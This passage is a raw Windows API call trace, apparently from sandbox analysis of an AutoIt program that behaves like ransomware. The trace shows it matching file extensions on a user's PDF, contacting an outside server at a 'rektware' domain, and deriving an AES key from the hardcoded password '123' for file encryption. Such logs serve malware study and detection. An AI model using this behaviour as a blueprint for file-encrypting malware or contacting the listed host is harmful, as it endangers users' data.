lpString1="6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mlP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lP\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="G7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vWVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WVQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VQ8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0072.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.700] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.700] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0072.700] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.700] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0072.700] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0072.701] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0072.701] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0072.701] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0072.701] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f28, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f28, lpdwBufferLength=0x130ee1c) returned 1 [0072.701] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0072.701] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0072.701] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0072.702] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0072.702] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0072.702] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0072.702] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0072.702] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0072.702] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0072.702] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0072.702] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0072.702] CloseHandle (hObject=0x0) returned 0 [0072.702] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.702] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0072.703] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0072.703] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.703] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.703] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.703] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.703] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0072.703] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.703] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0072.703] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.703] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.703] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0072.703] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.703] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.703] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.703] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.703] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.704] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0072.704] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0072.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0072.704] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0072.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0072.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0072.704] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0072.704] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa918) returned 1 [0072.705] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.705] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.705] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0072.705] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.705] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.705] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.705] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.705] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.705] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.705] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.705] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.705] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.705] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.705] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.705] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.705] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0072.705] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.705] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.705] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.705] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.705] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.706] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.706] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.706] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.706] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.706] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.706] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.706] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.706] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.706] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.706] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.706] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.706] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.706] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.706] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0072.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0072.706] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0072.707] CryptCreateHash (in: hProv=0x17aa918, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0072.707] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.707] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.707] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.707] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0072.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0072.707] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0072.707] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0072.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629440, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0072.707] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.707] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.707] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.707] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0072.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0072.707] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0072.707] CryptHashData (hHash=0x164c4f0, pbData=0x16294c0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0072.708] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.708] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.708] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.708] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.708] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.708] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.708] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.708] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0072.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621690, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0072.708] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0072.708] CryptDeriveKey (in: hProv=0x17aa918, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c370) returned 1 [0072.708] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.708] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.708] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.708] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.708] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.708] CharUpperBuffW (in: 